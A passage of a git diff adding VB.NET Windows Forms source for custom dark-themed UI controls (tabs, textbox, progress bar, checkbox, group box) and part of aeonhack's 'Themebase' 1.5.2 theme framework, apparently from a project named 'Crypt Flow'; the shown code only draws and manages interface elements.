g.DrawString(sText, Me.HeaderFont, Me.HeaderSelectedForeBrush, iX, iY) + Else + g.DrawString(sText, Me.HeaderFont, Me.HeaderForeBrush, iX, iY) + End If + End Sub + +#Region " Hide some properties which can disturb our customization " + _ + Public Overloads Property DrawMode() As System.Windows.Forms.TabDrawMode + Get + Return MyBase.DrawMode + End Get + Set(ByVal value As System.Windows.Forms.TabDrawMode) + MyBase.DrawMode = TabDrawMode.OwnerDrawFixed + End Set + End Property + + _ + Public Overloads Property Alignment() As System.Windows.Forms.TabAlignment + Get + Return MyBase.Alignment + End Get + Set(ByVal value As System.Windows.Forms.TabAlignment) + MyBase.Alignment = TabAlignment.Left + End Set + End Property + + _ + Public Overloads Property Appearance() As System.Windows.Forms.TabAppearance + Get + Return MyBase.Appearance + End Get + Set(ByVal value As System.Windows.Forms.TabAppearance) + MyBase.Appearance = TabAppearance.Normal + End Set + End Property + + _ + Public Overloads Property ItemSize() As Size + Get + Return MyBase.ItemSize + End Get + Set(ByVal value As Size) + MyBase.ItemSize = value + End Set + End Property + + _ + Public Overloads Property SizeMode() As System.Windows.Forms.TabSizeMode + Get + Return MyBase.SizeMode + End Get + Set(ByVal value As System.Windows.Forms.TabSizeMode) + MyBase.SizeMode = TabSizeMode.Fixed + End Set + End Property + + _ + Public Overloads Property Multiline() As Boolean + Get + Return MyBase.Multiline + End Get + Set(ByVal value As Boolean) + MyBase.Multiline = True + End Set + End Property +#End Region + + Protected Overrides Sub OnHandleCreated(ByVal e As System.EventArgs) + + For Each T As TabPage In TabPages + T.BackColor = Color.FromArgb(32, 32, 32) + Next + + MyBase.OnHandleCreated(e) + End Sub + +End Class +Public Class Flowtextbox + + Inherits Control + + Dim Bg As Color = Color.FromArgb(32, 32, 32) + Dim PC2 As Color = Color.FromArgb(78, 78, 78) + Dim FC As Color = Color.White + Dim tbox As TextBox + Sub New() + Me.Text = "" + tbox = Nothing + tbox = New TextBox + tbox.Text = Me.Text + tbox.BorderStyle = BorderStyle.FixedSingle + tbox.BackColor = Bg + tbox.Location = New Point(3, 4) + tbox.Width = Width - 7 + tbox.Font = Font + tbox.UseSystemPasswordChar = Pwbox + tbox.ForeColor = FC + Me.Controls.Add(tbox) + AddHandler tbox.TextChanged, AddressOf TextChange + End Sub + Dim Pwbox As Boolean = True + + Dim DrawRounded As Boolean = True + Public Property Rounded() As Boolean + Get + Return DrawRounded + End Get + Set(ByVal value As Boolean) + DrawRounded = value + End Set + End Property + + Public Property UseSystemPasswordChar() As Boolean + Get + Return Pwbox + End Get + Set(ByVal value As Boolean) + Pwbox = value + tbox = Nothing + tbox = New TextBox + tbox.Text = Text + tbox.BorderStyle = BorderStyle.None + tbox.BackColor = Bg + tbox.Location = New Point(3, 4) + tbox.Width = Width - 7 + tbox.Font = Font + tbox.UseSystemPasswordChar = Pwbox + tbox.ForeColor = FC + Me.Controls.Add(tbox) + AddHandler tbox.TextChanged, AddressOf TextChange + End Set + End Property + Protected Overrides Sub OnTextChanged(ByVal e As System.EventArgs) + MyBase.OnTextChanged(e) + TextChange() + Me.ForeColor = Color.White + End Sub + Private Sub TextChange() + Me.Text = tbox.Text + End Sub + + Dim p As Pen + Dim sb As SolidBrush + Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) + Using b As New Bitmap(Width, Height) + Using g As Graphics = Graphics.FromImage(b) + sb = New SolidBrush(Bg) + g.FillRectangle(sb, New Rectangle(0, 0, Width, Height)) + p = New Pen(PC2) + If DrawRounded Then + Dim Outline As GraphicsPath = Draw.RoundedRectangle(0, 0, Width - 1, Height - 1, 10, 1) + g.DrawPath(p, Outline) + Else + Dim rec As New Rectangle(0, 0, Width - 1, Height - 1) + g.DrawRectangle(p, rec) + End If + e.Graphics.DrawImage(b, 0, 0) + End Using + End Using + MyBase.OnPaint(e) + End Sub +End Class + +Public Class FlowLabel + Inherits Label + Dim FC As Color = Color.FromArgb(255, 255, 255) + Sub New() + Font = New Font("Verdana", 8) + ForeColor = FC + BackColor = Color.Transparent + End Sub +End Class +Public Class FlowSeperator + Inherits Control + Dim Bg As Color = Color.Transparent + Dim PC2 As Color = Color.FromArgb(35, 35, 35) + Dim FC As Color = Color.DimGray + Dim p As Pen + Dim sb As SolidBrush + + Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs) + End Sub + Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) + Using b As New Bitmap(Width, Height) + Using g As Graphics = Graphics.FromImage(b) + g.Clear(BackColor) + sb = New SolidBrush(Bg) + g.FillRectangle(sb, New Rectangle(0, 0, Width, Height)) + + Dim GRec As New Rectangle(0, Height / 2, Width / 5, 2) + Using GBrush As LinearGradientBrush = New LinearGradientBrush(GRec, Color.Transparent, FC, LinearGradientMode.Horizontal) + g.FillRectangle(GBrush, GRec) + End Using + p = New Pen(FC, 2) + g.DrawLine(p, New Point(GRec.Width, GRec.Y + 1), New Point(Width - GRec.Width + 1, GRec.Y + 1)) + + GRec = New Rectangle(Width - (Width / 5), Height / 2, Width / 5, 2) + Using GBrush As LinearGradientBrush = New LinearGradientBrush(GRec, FC, Color.Transparent, LinearGradientMode.Horizontal) + g.FillRectangle(GBrush, GRec) + End Using + e.Graphics.DrawImage(b, 0, 0) + End Using + End Using + MyBase.OnPaint(e) + End Sub + +End Class +Public Class FlowProgressbar : Inherits Control + Private _Value As Integer + Dim p As Pen + Public Property Value() As Integer + Get + Return _Value + End Get + Set(ByVal value As Integer) + _Value = value : Invalidate() + End Set + End Property + Private _minimum As Integer = 1 + Private _Maximum As Integer = 100 + Public Property Maximum() As Integer + Get + Return _Maximum + End Get + Set(ByVal value As Integer) + If value = 0 Then value = 1 + _Maximum = value : Invalidate() + End Set + End Property + Dim C1 As Color = Color.FromArgb(0, 0, 0), C2 As Color = Color.FromArgb(35, 35, 35), C3 As Color = Color.FromArgb(51, 51, 51), _ + C4 As Color = Color.FromArgb(0, 0, 0, 0), C5 As Color = Color.FromArgb(10, 255, 255, 255) + Protected Overrides Sub OnPaintBackground(ByVal pevent As System.Windows.Forms.PaintEventArgs) + End Sub + Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) + Dim V As Integer = Width * _Value / _Maximum + Using B As New Bitmap(Width, Height) + Using G = Graphics.FromImage(B) + Draw.Gradient(G, C2, C3, 1, 1, Width - 2, Height - 2) + G.DrawRectangle(New Pen(C2), 1, 1, V - 3, Height - 3) + Draw.Gradient(G, C3, C2, 2, 2, V - 4, Height - 4) + p = New Pen(C3, 2) + G.DrawRectangle(New Pen(C1), 0, 0, Width - 1, Height - 1) + e.Graphics.DrawImage(B.Clone, 0, 0) + End Using + End Using + End Sub +End Class +Class FlowCheckbox + Inherits ThemeControl + Private _cStyle As Boolean + Public Property DarkTheme() As Boolean + Get + Return _cStyle + End Get + Set(ByVal v As Boolean) + _cStyle = v + Invalidate() + End Set + End Property + Private _CheckedState As Boolean + Public Property CheckedState() As Boolean + Get + Return _CheckedState + End Get + Set(ByVal v As Boolean) + _CheckedState = v + Invalidate() + End Set + End Property + Sub New() + Size = New Size(90, 15) + MinimumSize = New Size(16, 16) + MaximumSize = New Size(600, 16) + + DarkTheme = True + CheckedState = False + End Sub + Public Overrides Sub PaintHook() + Dim Grad As Integer + Dim FontColor As Color + Select Case DarkTheme + Case True + Grad = 51 + FontColor = Color.White + Case False + Grad = 200 + FontColor = Color.White + End Select + G.Clear(Color.FromArgb(32, 32, 32)) + Select Case CheckedState + Case True + 'DrawGradient(Color.FromArgb(62, 62, 62), Color.FromArgb(38, 38, 38), 0, 0, 15, 15, 90S) + DrawGradient(Color.FromArgb(0, 132, 255), Color.FromArgb(0, 132, 255), 3, 3, 9, 9, 90S) + DrawGradient(Color.FromArgb(98, 159, 220), Color.FromArgb(62, 102, 147), 4, 4, 7, 7, 90S) + Case False + DrawGradient(Color.FromArgb(32, 32, 32), Color.FromArgb(32, 32, 32), 0, 0, 15, 15, 90S) + End Select + G.DrawRectangle(Pens.Black, 0, 0, 14, 14) + G.DrawRectangle(Pens.DimGray, 1, 1, 12, 12) + DrawText(HorizontalAlignment.Left, FontColor, 17, 0) + End Sub + Sub changeCheck() Handles Me.Click + Select Case CheckedState + Case True + CheckedState = False + Case False + CheckedState = True + End Select + End Sub +End Class +Public Class FlowGroupBox + Inherits Panel + Dim Bg As Color = Color.Transparent + Dim PC2 As Color = Color.FromArgb(61, 61, 61) + Dim FC As Color = Color.FromArgb(0, 132, 255) + Dim p As Pen + Dim sb As SolidBrush + Sub New() + BackColor = Bg + End Sub + Dim _t As String = "" + Public Property Header() As String + Get + Return _t + End Get + Set(ByVal value As String) + _t = value + Invalidate() + End Set + End Property + Protected Overrides Sub OnPaint(ByVal e As System.Windows.Forms.PaintEventArgs) + Using b As New Bitmap(Width, Height) + Using g As Graphics = Graphics.FromImage(b) + p = New Pen(PC2) + sb = New SolidBrush(Bg) + Dim M As SizeF = g.MeasureString(_t, Font) + Dim Outline As GraphicsPath = Draw.RoundedRectangle(0, M.Height / 2, Width - 1, Height - 1, 10, 1) + g.Clear(BackColor) + g.FillRectangle(sb, New Rectangle(0, M.Height / 2, Width - 1, Height - 1)) + g.DrawPath(p, Outline) + + g.FillRectangle(sb, New Rectangle(10, (M.Height / 2) - 2, M.Width + 10, M.Height)) + sb = New SolidBrush(FC) + g.DrawString(_t, Font, sb, 12, 2) + e.Graphics.DrawImage(b, 0, 0) + End Using + End Using + MyBase.OnPaint(e) + End Sub +End Class + +MustInherit Class ThemeControl + Inherits Control + +#Region " Initialization " + + Protected G As Graphics, B As Bitmap + Sub New() + SetStyle(DirectCast(139270, ControlStyles), True) + B = New Bitmap(1, 1) + G = Graphics.FromImage(B) + End Sub + + Sub AllowTransparent() + SetStyle(ControlStyles.Opaque, False) + SetStyle(ControlStyles.SupportsTransparentBackColor, True) + End Sub + + Overrides Property Text() As String + Get + Return MyBase.Text + End Get + Set(ByVal v As String) + MyBase.Text = v + Invalidate() + End Set + End Property +#End Region + +#Region " Mouse Handling " + + Protected Enum State As Byte + MouseNone = 0 + MouseOver = 1 + MouseDown = 2 + End Enum + + Protected MouseState As State + Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) + ChangeMouseState(State.MouseNone) + MyBase.OnMouseLeave(e) + End Sub + Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) + ChangeMouseState(State.MouseOver) + MyBase.OnMouseEnter(e) + End Sub + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + ChangeMouseState(State.MouseOver) + MyBase.OnMouseUp(e) + End Sub + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + If e.Button = MouseButtons.Left Then ChangeMouseState(State.MouseDown) + MyBase.OnMouseDown(e) + End Sub + + Private Sub ChangeMouseState(ByVal e As State) + MouseState = e + Invalidate() + End Sub + +#End Region + +#Region " Convienence " + + MustOverride Sub PaintHook() + Protected NotOverridable Overrides Sub OnPaint(ByVal e As PaintEventArgs) + If Width = 0 OrElse Height = 0 Then Return + PaintHook() + e.Graphics.DrawImage(B, 0, 0) + End Sub + + Protected Overrides Sub OnSizeChanged(ByVal e As EventArgs) + If Not Width = 0 AndAlso Not Height = 0 Then + B = New Bitmap(Width, Height) + G = Graphics.FromImage(B) + Invalidate() + End If + MyBase.OnSizeChanged(e) + End Sub + + Private _NoRounding As Boolean + Property NoRounding() As Boolean + Get + Return _NoRounding + End Get + Set(ByVal v As Boolean) + _NoRounding = v + Invalidate() + End Set + End Property + + Private _Image As Image + Property Image() As Image + Get + Return _Image + End Get + Set(ByVal value As Image) + _Image = value + Invalidate() + End Set + End Property + ReadOnly Property ImageWidth() As Integer + Get + If _Image Is Nothing Then Return 0 + Return _Image.Width + End Get + End Property + ReadOnly Property ImageTop() As Integer + Get + If _Image Is Nothing Then Return 0 + Return Height \ 2 - _Image.Height \ 2 + End Get + End Property + + Private _Size As Size + Private _Rectangle As Rectangle + Private _Gradient As LinearGradientBrush + Private _Brush As SolidBrush + + Protected Sub DrawCorners(ByVal c As Color, ByVal rect As Rectangle) + If _NoRounding Then Return + + B.SetPixel(rect.X, rect.Y, c) + B.SetPixel(rect.X + (rect.Width - 1), rect.Y, c) + B.SetPixel(rect.X, rect.Y + (rect.Height - 1), c) + B.SetPixel(rect.X + (rect.Width - 1), rect.Y + (rect.Height - 1), c) + End Sub + + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal p2 As Pen, ByVal rect As Rectangle) + G.DrawRectangle(p1, rect.X, rect.Y, rect.Width - 1, rect.Height - 1) + G.DrawRectangle(p2, rect.X + 1, rect.Y + 1, rect.Width - 3, rect.Height - 3) + End Sub + + Protected Sub DrawText(ByVal a As HorizontalAlignment, ByVal c As Color, ByVal x As Integer) + DrawText(a, c, x, 0) + End Sub + Protected Sub DrawText(ByVal a As HorizontalAlignment, ByVal c As Color, ByVal x As Integer, ByVal y As Integer) + If String.IsNullOrEmpty(Text) Then Return + _Size = G.MeasureString(Text, Font).ToSize + _Brush = New SolidBrush(c) + + Select Case a + Case HorizontalAlignment.Left + G.DrawString(Text, Font, _Brush, x, Height \ 2 - _Size.Height \ 2 + y) + Case HorizontalAlignment.Right + G.DrawString(Text, Font, _Brush, Width - _Size.Width - x, Height \ 2 - _Size.Height \ 2 + y) + Case HorizontalAlignment.Center + G.DrawString(Text, Font, _Brush, Width \ 2 - _Size.Width \ 2 + x, Height \ 2 - _Size.Height \ 2 + y) + End Select + End Sub + + Protected Sub DrawIcon(ByVal a As HorizontalAlignment, ByVal x As Integer) + DrawIcon(a, x, 0) + End Sub + Protected Sub DrawIcon(ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If _Image Is Nothing Then Return + Select Case a + Case HorizontalAlignment.Left + G.DrawImage(_Image, x, Height \ 2 - _Image.Height \ 2 + y) + Case HorizontalAlignment.Right + G.DrawImage(_Image, Width - _Image.Width - x, Height \ 2 - _Image.Height \ 2 + y) + Case HorizontalAlignment.Center + G.DrawImage(_Image, Width \ 2 - _Image.Width \ 2, Height \ 2 - _Image.Height \ 2) + End Select + End Sub + + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + _Rectangle = New Rectangle(x, y, width, height) + _Gradient = New LinearGradientBrush(_Rectangle, c1, c2, angle) + G.FillRectangle(_Gradient, _Rectangle) + End Sub +#End Region + +End Class +Public Class Draw + Shared Sub Gradient(ByVal g As Graphics, ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + Dim R As New Rectangle(x, y, width, height) + Using T As New LinearGradientBrush(R, c1, c2, LinearGradientMode.Vertical) + g.FillRectangle(T, R) + End Using + End Sub + Shared Sub Gradient(ByVal g As Graphics, ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle) + Using T As New LinearGradientBrush(R, c1, c2, LinearGradientMode.Vertical) + g.FillRectangle(T, R) + End Using + End Sub + Shared Sub Blend(ByVal g As Graphics, ByVal c1 As Color, ByVal c2 As Color, ByVal c3 As Color, ByVal c As Single, ByVal d As Integer, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + Dim v As New ColorBlend(3) + V.Colors = New Color() {c1, c2, c3} + V.Positions = New Single() {0, c, 1} + Dim R As New Rectangle(x, y, width, height) + Using T As New LinearGradientBrush(R, c1, c1, CType(d, LinearGradientMode)) + T.InterpolationColors = v : g.FillRectangle(T, R) + End Using + End Sub + Shared Function RoundedRectangle(ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal cornerwidth As Integer, ByVal PenWidth As Integer) As GraphicsPath + Dim p As New GraphicsPath + p.StartFigure() + p.AddArc(New Rectangle(x, y, cornerwidth, cornerwidth), 180, 90) + p.AddLine(cornerwidth, y, width - cornerwidth - PenWidth, y) + + p.AddArc(New Rectangle(width - cornerwidth - PenWidth, y, cornerwidth, cornerwidth), -90, 90) + p.AddLine(width - PenWidth, cornerwidth, width - PenWidth, height - cornerwidth - PenWidth) + + p.AddArc(New Rectangle(width - cornerwidth - PenWidth, height - cornerwidth - PenWidth, cornerwidth, cornerwidth), 0, 90) + p.AddLine(width - cornerwidth - PenWidth, height - PenWidth, cornerwidth, height - PenWidth) + + p.AddArc(New Rectangle(x, height - cornerwidth - PenWidth, cornerwidth, cornerwidth), 90, 90) + p.CloseFigure() + + Return p + End Function + + Shared Sub BackGround(ByVal width As Integer, ByVal height As Integer, ByVal G As Graphics) + + Dim P1 As Color = Color.FromArgb(29, 25, 22) + Dim P2 As Color = Color.FromArgb(35, 31, 28) + + For y As Integer = 0 To height Step 4 + For x As Integer = 0 To width Step 4 + G.FillRectangle(New SolidBrush(P1), New Rectangle(x, y, 1, 1)) + G.FillRectangle(New SolidBrush(P2), New Rectangle(x, y + 1, 1, 1)) + Try + G.FillRectangle(New SolidBrush(P1), New Rectangle(x + 2, y + 2, 1, 1)) + G.FillRectangle(New SolidBrush(P2), New Rectangle(x + 2, y + 3, 1, 1)) + Catch + End Try + Next + Next + End Sub +End Class \ No newline at end of file diff --git a/scode (Crypt Flow/Crypt Flow/Themebase.vb b/scode (Crypt Flow/Crypt Flow/Themebase.vb new file mode 100644 index 0000000..f87fd0c --- /dev/null +++ b/scode (Crypt Flow/Crypt Flow/Themebase.vb @@ -0,0 +1,1409 @@ +Imports System, System.IO, System.Collections.Generic +Imports System.Drawing, System.Drawing.Drawing2D +Imports System.ComponentModel, System.Windows.Forms + +'------------------ +'Creator: aeonhack +'Site: elitevs.net +'Created: 08/02/2011 +'Changed: 09/23/2011 +'Version: 1.5.2 +'------------------ + +MustInherit Class ThemeContainer152 + Inherits ContainerControl + + Protected G As Graphics + + Sub New() + SetStyle(DirectCast(139270, ControlStyles), True) + _ImageSize = Size.Empty + + MeasureBitmap = New Bitmap(1, 1) + MeasureGraphics = Graphics.FromImage(MeasureBitmap) + + Font = New Font("Verdana", 8S) + + InvalidateCustimization() + End Sub + + Protected Overrides Sub SetBoundsCore(ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal specified As BoundsSpecified) + If Not _LockWidth = 0 Then width = _LockWidth + If Not _LockHeight = 0 Then height = _LockHeight + MyBase.SetBoundsCore(x, y, width, height, specified) + End Sub + + Private Header As Rectangle + Protected NotOverridable Overrides Sub OnSizeChanged(ByVal e As EventArgs) + If _Movable AndAlso Not _ControlMode Then Header = New Rectangle(7, 7, Width - 14, _MoveHeight - 7) + Invalidate() + MyBase.OnSizeChanged(e) + End Sub + + Protected NotOverridable Overrides Sub OnPaint(ByVal e As PaintEventArgs) + If Width = 0 OrElse Height = 0 Then Return + G = e.Graphics + PaintHook() + End Sub + + Protected NotOverridable Overrides Sub OnHandleCreated(ByVal e As EventArgs) + InvalidateCustimization() + ColorHook() + + If Not _LockWidth = 0 Then Width = _LockWidth + If Not _LockHeight = 0 Then Height = _LockHeight + If Not _ControlMode Then MyBase.Dock = DockStyle.Fill + + MyBase.OnHandleCreated(e) + End Sub + + Protected NotOverridable Overrides Sub OnParentChanged(ByVal e As EventArgs) + MyBase.OnParentChanged(e) + + If Parent Is Nothing Then Return + _IsParentForm = TypeOf Parent Is Form + + If Not _ControlMode Then + InitializeMessages() + + If _IsParentForm Then + ParentForm.FormBorderStyle = _BorderStyle + ParentForm.TransparencyKey = _TransparencyKey + End If + + Parent.BackColor = BackColor + End If + + OnCreation() + End Sub + + Protected Overridable Sub OnCreation() + End Sub + +#Region " Sizing and Movement " + + Protected State As MouseState + Private Sub SetState(ByVal current As MouseState) + State = current + Invalidate() + End Sub + + Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) + If Not (_IsParentForm AndAlso ParentForm.WindowState = FormWindowState.Maximized) Then + If _Sizable AndAlso Not _ControlMode Then InvalidateMouse() + End If + + MyBase.OnMouseMove(e) + End Sub + + Protected Overrides Sub OnEnabledChanged(ByVal e As EventArgs) + If Enabled Then SetState(MouseState.None) Else SetState(MouseState.Block) + MyBase.OnEnabledChanged(e) + End Sub + + Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) + SetState(MouseState.Over) + MyBase.OnMouseEnter(e) + End Sub + + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + SetState(MouseState.Over) + MyBase.OnMouseUp(e) + End Sub + + Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) + SetState(MouseState.None) + + If GetChildAtPoint(PointToClient(MousePosition)) IsNot Nothing Then + If _Sizable AndAlso Not _ControlMode Then + Cursor = Cursors.Default + Previous = 0 + End If + End If + + MyBase.OnMouseLeave(e) + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + If e.Button = Windows.Forms.MouseButtons.Left Then SetState(MouseState.Down) + + If Not (_IsParentForm AndAlso ParentForm.WindowState = FormWindowState.Maximized OrElse _ControlMode) Then + If _Movable AndAlso Header.Contains(e.Location) Then + Capture = False + WM_LMBUTTONDOWN = True + DefWndProc(Messages(0)) + ElseIf _Sizable AndAlso Not Previous = 0 Then + Capture = False + WM_LMBUTTONDOWN = True + DefWndProc(Messages(Previous)) + End If + End If + + MyBase.OnMouseDown(e) + End Sub + + Private WM_LMBUTTONDOWN As Boolean + Protected Overrides Sub WndProc(ByRef m As Message) + MyBase.WndProc(m) + + If WM_LMBUTTONDOWN AndAlso m.Msg = 513 Then + WM_LMBUTTONDOWN = False + + SetState(MouseState.Over) + If Not _SmartBounds Then Return + + If IsParentMdi Then + CorrectBounds(New Rectangle(Point.Empty, Parent.Parent.Size)) + Else + CorrectBounds(Screen.FromControl(Parent).WorkingArea) + End If + End If + End Sub + + Private GetIndexPoint As Point + Private B1, B2, B3, B4 As Boolean + Private Function GetIndex() As Integer + GetIndexPoint = PointToClient(MousePosition) + B1 = GetIndexPoint.X < 7 + B2 = GetIndexPoint.X > Width - 7 + B3 = GetIndexPoint.Y < 7 + B4 = GetIndexPoint.Y > Height - 7 + + If B1 AndAlso B3 Then Return 4 + If B1 AndAlso B4 Then Return 7 + If B2 AndAlso B3 Then Return 5 + If B2 AndAlso B4 Then Return 8 + If B1 Then Return 1 + If B2 Then Return 2 + If B3 Then Return 3 + If B4 Then Return 6 + Return 0 + End Function + + Private Current, Previous As Integer + Private Sub InvalidateMouse() + Current = GetIndex() + If Current = Previous Then Return + + Previous = Current + Select Case Previous + Case 0 + Cursor = Cursors.Default + Case 1, 2 + Cursor = Cursors.SizeWE + Case 3, 6 + Cursor = Cursors.SizeNS + Case 4, 8 + Cursor = Cursors.SizeNWSE + Case 5, 7 + Cursor = Cursors.SizeNESW + End Select + End Sub + + Private Messages(8) As Message + Private Sub InitializeMessages() + Messages(0) = Message.Create(Parent.Handle, 161, New IntPtr(2), IntPtr.Zero) + For I As Integer = 1 To 8 + Messages(I) = Message.Create(Parent.Handle, 161, New IntPtr(I + 9), IntPtr.Zero) + Next + End Sub + + Private Sub CorrectBounds(ByVal bounds As Rectangle) + If Parent.Width > bounds.Width Then Parent.Width = bounds.Width + If Parent.Height > bounds.Height Then Parent.Height = bounds.Height + + Dim X As Integer = Parent.Location.X + Dim Y As Integer = Parent.Location.Y + + If X < bounds.X Then X = bounds.X + If Y < bounds.Y Then Y = bounds.Y + + Dim Width As Integer = bounds.X + bounds.Width + Dim Height As Integer = bounds.Y + bounds.Height + + If X + Parent.Width > Width Then X = Width - Parent.Width + If Y + Parent.Height > Height Then Y = Height - Parent.Height + + Parent.Location = New Point(X, Y) + End Sub + +#End Region + + +#Region " Property Overrides " + + Overrides Property Dock() As DockStyle + Get + Return MyBase.Dock + End Get + Set(ByVal value As DockStyle) + If Not _ControlMode Then Return + MyBase.Dock = value + End Set + End Property + + _ + Overrides Property BackColor() As Color + Get + Return MyBase.BackColor + End Get + Set(ByVal value As Color) + If value = BackColor Then Return + MyBase.BackColor = value + + If Parent IsNot Nothing Then + If Not _ControlMode Then Parent.BackColor = value + ColorHook() + End If + End Set + End Property + + Overrides Property MinimumSize() As Size + Get + Return MyBase.MinimumSize + End Get + Set(ByVal value As Size) + MyBase.MinimumSize = value + If Parent IsNot Nothing Then Parent.MinimumSize = value + End Set + End Property + + Overrides Property MaximumSize() As Size + Get + Return MyBase.MaximumSize + End Get + Set(ByVal value As Size) + MyBase.MaximumSize = value + If Parent IsNot Nothing Then Parent.MaximumSize = value + End Set + End Property + + Overrides Property Text() As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + Invalidate() + End Set + End Property + + Overrides Property Font() As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + MyBase.Font = value + Invalidate() + End Set + End Property + + _ + Overrides Property ForeColor() As Color + Get + Return Color.Empty + End Get + Set(ByVal value As Color) + End Set + End Property + _ + Overrides Property BackgroundImage() As Image + Get + Return Nothing + End Get + Set(ByVal value As Image) + End Set + End Property + _ + Overrides Property BackgroundImageLayout() As ImageLayout + Get + Return ImageLayout.None + End Get + Set(ByVal value As ImageLayout) + End Set + End Property + +#End Region + +#Region " Properties " + + Private _SmartBounds As Boolean = True + Property SmartBounds() As Boolean + Get + Return _SmartBounds + End Get + Set(ByVal value As Boolean) + _SmartBounds = value + End Set + End Property + + Private _Movable As Boolean = True + Property Movable() As Boolean + Get + Return _Movable + End Get + Set(ByVal value As Boolean) + _Movable = value + End Set + End Property + + Private _Sizable As Boolean = True + Property Sizable() As Boolean + Get + Return _Sizable + End Get + Set(ByVal value As Boolean) + _Sizable = value + End Set + End Property + + Private _TransparencyKey As Color + Property TransparencyKey() As Color + Get + If _IsParentForm AndAlso Not _ControlMode Then Return ParentForm.TransparencyKey Else Return _TransparencyKey + End Get + Set(ByVal value As Color) + If value = _TransparencyKey Then Return + _TransparencyKey = value + + If _IsParentForm AndAlso Not _ControlMode Then + ParentForm.TransparencyKey = value + ColorHook() + End If + End Set + End Property + + Private _BorderStyle As FormBorderStyle + Property BorderStyle() As FormBorderStyle + Get + If _IsParentForm AndAlso Not _ControlMode Then Return ParentForm.FormBorderStyle Else Return _BorderStyle + End Get + Set(ByVal value As FormBorderStyle) + _BorderStyle = value + + If _IsParentForm AndAlso Not _ControlMode Then + ParentForm.FormBorderStyle = value + + If Not value = FormBorderStyle.None Then + Movable = False + Sizable = False + End If + End If + End Set + End Property + + Private _NoRounding As Boolean + Property NoRounding() As Boolean + Get + Return _NoRounding + End Get + Set(ByVal v As Boolean) + _NoRounding = v + Invalidate() + End Set + End Property + + Private _Image As Image + Property Image() As Image + Get + Return _Image + End Get + Set(ByVal value As Image) + If value Is Nothing Then _ImageSize = Size.Empty Else _ImageSize = value.Size + + _Image = value + Invalidate() + End Set + End Property + + Private _ImageSize As Size + Protected ReadOnly Property ImageSize() As Size + Get + Return _ImageSize + End Get + End Property + + Private _IsParentForm As Boolean + Protected ReadOnly Property IsParentForm() As Boolean + Get + Return _IsParentForm + End Get + End Property + + Protected ReadOnly Property IsParentMdi() As Boolean + Get + If Parent Is Nothing Then Return False + Return Parent.Parent IsNot Nothing + End Get + End Property + + Private _LockWidth As Integer + Protected Property LockWidth() As Integer + Get + Return _LockWidth + End Get + Set(ByVal value As Integer) + _LockWidth = value + If Not LockWidth = 0 AndAlso IsHandleCreated Then Width = LockWidth + End Set + End Property + + Private _LockHeight As Integer + Protected Property LockHeight() As Integer + Get + Return _LockHeight + End Get + Set(ByVal value As Integer) + _LockHeight = value + If Not LockHeight = 0 AndAlso IsHandleCreated Then Height = LockHeight + End Set + End Property + + Private _MoveHeight As Integer = 24 + Protected Property MoveHeight() As Integer + Get + Return _MoveHeight + End Get + Set(ByVal v As Integer) + If v < 8 Then Return + Header = New Rectangle(7, 7, Width - 14, v - 7) + _MoveHeight = v + Invalidate() + End Set + End Property + + Private _ControlMode As Boolean + Protected Property ControlMode() As Boolean + Get + Return _ControlMode + End Get + Set(ByVal v As Boolean) + _ControlMode = v + End Set + End Property + + Private Items As New Dictionary(Of String, Color) + _ + Property Colors() As Bloom() + Get + Dim T As New List(Of Bloom) + Dim E As Dictionary(Of String, Color).Enumerator = Items.GetEnumerator + + While E.MoveNext + T.Add(New Bloom(E.Current.Key, E.Current.Value)) + End While + + Return T.ToArray + End Get + Set(ByVal value As Bloom()) + For Each B As Bloom In value + If Items.ContainsKey(B.Name) Then Items(B.Name) = B.Value + Next + + InvalidateCustimization() + ColorHook() + Invalidate() + End Set + End Property + + Private _Customization As String + Property Customization() As String + Get + Return _Customization + End Get + Set(ByVal value As String) + If value = _Customization Then Return + + Dim Data As Byte() + Dim Items As Bloom() = Colors + + Try + Data = Convert.FromBase64String(value) + For I As Integer = 0 To Items.Length - 1 + Items(I).Value = Color.FromArgb(BitConverter.ToInt32(Data, I * 4)) + Next + Catch + Return + End Try + + _Customization = value + + Colors = Items + ColorHook() + Invalidate() + End Set + End Property + +#End Region + +#Region " Property Helpers " + + Protected Function GetColor(ByVal name As String) As Color + Return Items(name) + End Function + + Protected Sub SetColor(ByVal name As String, ByVal value As Color) + If Items.ContainsKey(name) Then Items(name) = value Else Items.Add(name, value) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) + SetColor(name, Color.FromArgb(r, g, b)) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) + SetColor(name, Color.FromArgb(a, r, g, b)) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal value As Color) + SetColor(name, Color.FromArgb(a, value)) + End Sub + + Private Sub InvalidateCustimization() + Dim M As New MemoryStream(Items.Count * 4) + + For Each B As 